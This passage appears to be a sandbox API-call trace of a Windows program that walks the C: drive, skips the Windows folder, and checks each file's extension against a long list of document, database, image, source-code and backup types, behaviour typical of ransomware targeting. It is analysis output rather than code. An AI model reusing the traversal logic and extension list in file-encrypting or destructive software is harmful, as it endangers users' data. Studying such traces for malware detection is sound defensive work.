lpFindFileData=0x33ddcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8279df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.559] FindNextFileW (in: hFindFile=0x3ec06b0, lpFindFileData=0x33ddcb4 | out: lpFindFileData=0x33ddcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8279df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 Thread: id = 19 os_tid = 0xa10 [0033.025] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d8 [0033.025] lstrlenW (lpString="C:") returned 2 [0033.025] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x351fd00 | out: lpFindFileData=0x351fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5a3220 [0033.025] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.025] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0033.025] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.025] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0033.025] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0033.026] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.026] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a3260 [0033.026] FindNextFileW (in: hFindFile=0x5a3260, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.026] FindNextFileW (in: hFindFile=0x5a3260, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.026] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.026] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0033.026] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0033.026] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0033.026] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.027] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.027] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a42a8 [0033.027] FindNextFileW (in: hFindFile=0x5a42a8, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.027] FindNextFileW (in: hFindFile=0x5a42a8, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.027] lstrlenW (lpString="desktop.ini") returned 11 [0033.027] lstrlenW (lpString=".1cd") returned 4 [0033.027] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.027] lstrlenW (lpString=".3ds") returned 4 [0033.027] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0033.027] lstrlenW (lpString=".3fr") returned 4 [0033.027] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0033.027] lstrlenW (lpString=".3g2") returned 4 [0033.027] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0033.027] lstrlenW (lpString=".3gp") returned 4 [0033.027] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0033.027] lstrlenW (lpString=".7z") returned 3 [0033.027] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.027] lstrlenW (lpString=".accda") returned 6 [0033.027] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0033.027] lstrlenW (lpString=".accdb") returned 6 [0033.027] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0033.027] lstrlenW (lpString=".accdc") returned 6 [0033.027] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0033.027] lstrlenW (lpString=".accde") returned 6 [0033.027] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0033.027] lstrlenW (lpString=".accdt") returned 6 [0033.027] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0033.028] lstrlenW (lpString=".accdw") returned 6 [0033.028] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0033.028] lstrlenW (lpString=".adb") returned 4 [0033.028] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".adp") returned 4 [0033.028] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".ai") returned 3 [0033.028] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0033.028] lstrlenW (lpString=".ai3") returned 4 [0033.028] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".ai4") returned 4 [0033.028] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".ai5") returned 4 [0033.028] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".ai6") returned 4 [0033.028] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".ai7") returned 4 [0033.028] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".ai8") returned 4 [0033.028] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".anim") returned 5 [0033.028] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0033.028] lstrlenW (lpString=".arw") returned 4 [0033.028] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".as") returned 3 [0033.028] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0033.028] lstrlenW (lpString=".asa") returned 4 [0033.028] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".asc") returned 4 [0033.028] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0033.028] lstrlenW (lpString=".ascx") returned 5 [0033.028] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0033.028] lstrlenW (lpString=".asm") returned 4 [0033.028] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".asmx") returned 5 [0033.029] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0033.029] lstrlenW (lpString=".asp") returned 4 [0033.029] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".aspx") returned 5 [0033.029] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0033.029] lstrlenW (lpString=".asr") returned 4 [0033.029] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".asx") returned 4 [0033.029] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".avi") returned 4 [0033.029] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".avs") returned 4 [0033.029] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".backup") returned 7 [0033.029] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0033.029] lstrlenW (lpString=".bak") returned 4 [0033.029] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".bay") returned 4 [0033.029] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".bd") returned 3 [0033.029] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0033.029] lstrlenW (lpString=".bin") returned 4 [0033.029] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".bmp") returned 4 [0033.029] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".bz2") returned 4 [0033.029] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".c") returned 2 [0033.029] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0033.029] lstrlenW (lpString=".cdr") returned 4 [0033.029] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".cer") returned 4 [0033.029] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0033.029] lstrlenW (lpString=".cf") returned 3 [0033.030] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0033.030] lstrlenW (lpString=".cfc") returned 4 [0033.030] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".cfm") returned 4 [0033.030] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".cfml") returned 5 [0033.030] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0033.030] lstrlenW (lpString=".cfu") returned 4 [0033.030] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".chm") returned 4 [0033.030] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".cin") returned 4 [0033.030] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".class") returned 6 [0033.030] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0033.030] lstrlenW (lpString=".clx") returned 4 [0033.030] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".config") returned 7 [0033.030] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0033.030] lstrlenW (lpString=".cpp") returned 4 [0033.030] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".cr2") returned 4 [0033.030] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".crt") returned 4 [0033.030] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".crw") returned 4 [0033.030] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".cs") returned 3 [0033.030] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0033.030] lstrlenW (lpString=".css") returned 4 [0033.030] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".csv") returned 4 [0033.030] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".cub") returned 4 [0033.030] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0033.030] lstrlenW (lpString=".dae") returned 4 [0033.031] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".dat") returned 4 [0033.031] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".db") returned 3 [0033.031] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0033.031] lstrlenW (lpString=".dbf") returned 4 [0033.031] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".dbx") returned 4 [0033.031] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".dc3") returned 4 [0033.031] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".dcm") returned 4 [0033.031] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".dcr") returned 4 [0033.031] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".der") returned 4 [0033.031] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".dib") returned 4 [0033.031] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".dic") returned 4 [0033.031] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".dif") returned 4 [0033.031] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".divx") returned 5 [0033.031] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0033.031] lstrlenW (lpString=".djvu") returned 5 [0033.031] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0033.031] lstrlenW (lpString=".dng") returned 4 [0033.031] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".doc") returned 4 [0033.031] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.031] lstrlenW (lpString=".docm") returned 5 [0033.031] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0033.031] lstrlenW (lpString=".docx") returned 5 [0033.031] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.031] lstrlenW (lpString=".dot") returned 4 [0033.032] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".dotm") returned 5 [0033.032] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0033.032] lstrlenW (lpString=".dotx") returned 5 [0033.032] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0033.032] lstrlenW (lpString=".dpx") returned 4 [0033.032] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".dqy") returned 4 [0033.032] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".dsn") returned 4 [0033.032] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".dt") returned 3 [0033.032] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0033.032] lstrlenW (lpString=".dtd") returned 4 [0033.032] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".dwg") returned 4 [0033.032] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".dwt") returned 4 [0033.032] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".dx") returned 3 [0033.032] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0033.032] lstrlenW (lpString=".dxf") returned 4 [0033.032] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".edml") returned 5 [0033.032] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0033.032] lstrlenW (lpString=".efd") returned 4 [0033.032] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".elf") returned 4 [0033.032] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".emf") returned 4 [0033.032] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".emz") returned 4 [0033.032] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0033.032] lstrlenW (lpString=".epf") returned 4 [0033.033] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".eps") returned 4 [0033.033] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".epsf") returned 5 [0033.033] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0033.033] lstrlenW (lpString=".epsp") returned 5 [0033.033] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0033.033] lstrlenW (lpString=".erf") returned 4 [0033.033] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".exr") returned 4 [0033.033] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".f4v") returned 4 [0033.033] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".fido") returned 5 [0033.033] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0033.033] lstrlenW (lpString=".flm") returned 4 [0033.033] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".flv") returned 4 [0033.033] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".frm") returned 4 [0033.033] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".fxg") returned 4 [0033.033] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".geo") returned 4 [0033.033] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".gif") returned 4 [0033.033] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".grs") returned 4 [0033.033] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0033.033] lstrlenW (lpString=".gz") returned 3 [0033.033] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0033.033] lstrlenW (lpString=".h") returned 2 [0033.033] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0033.033] lstrlenW (lpString=".hdr") returned 4 [0033.034] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".hpp") returned 4 [0033.034] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".hta") returned 4 [0033.034] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".htc") returned 4 [0033.034] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".htm") returned 4 [0033.034] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".html") returned 5 [0033.034] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.034] lstrlenW (lpString=".icb") returned 4 [0033.034] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".ics") returned 4 [0033.034] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".iff") returned 4 [0033.034] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".inc") returned 4 [0033.034] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0033.034] lstrlenW (lpString=".indd") returned 5 [0033.034] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0033.034] lstrlenW (lpString=".ini") returned 4 [0033.034] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0033.034] FindNextFileW (in: hFindFile=0x5a42a8, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.034] FindClose (in: hFindFile=0x5a42a8 | out: hFindFile=0x5a42a8) returned 1 [0033.034] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.034] FindNextFileW (in: hFindFile=0x5a3260, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.034] FindClose (in: hFindFile=0x5a3260 | out: hFindFile=0x5a3260) returned 1 [0033.034] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0033.034] FindNextFileW (in: hFindFile=0x5a3220, lpFindFileData=0x351fd00 | out: lpFindFileData=0x351fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.035] lstrlenW (lpString="C:\\Boot") returned 7 [0033.035] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0033.035] lstrlenW (lpString="Boot") returned 4 [0033.035] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0033.035] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0033.035] lstrlenW (lpString="C:\\Boot") returned 7 [0033.035] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a4268 [0033.035] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.035] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.035] lstrlenW (lpString="BCD") returned 3 [0033.035] lstrlenW (lpString=".1cd") returned 4 [0033.035] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0033.035] lstrlenW (lpString=".3ds") returned 4 [0033.035] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0033.035] lstrlenW (lpString=".3fr") returned 4 [0033.035] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0033.035] lstrlenW (lpString=".3g2") returned 4 [0033.035] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0033.035] lstrlenW (lpString=".3gp") returned 4 [0033.035] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0033.035] lstrlenW (lpString=".7z") returned 3 [0033.036] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.036] lstrlenW (lpString=".accda") returned 6 [0033.036] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".accdb") returned 6 [0033.036] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".accdc") returned 6 [0033.036] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".accde") returned 6 [0033.036] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".accdt") returned 6 [0033.036] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".accdw") returned 6 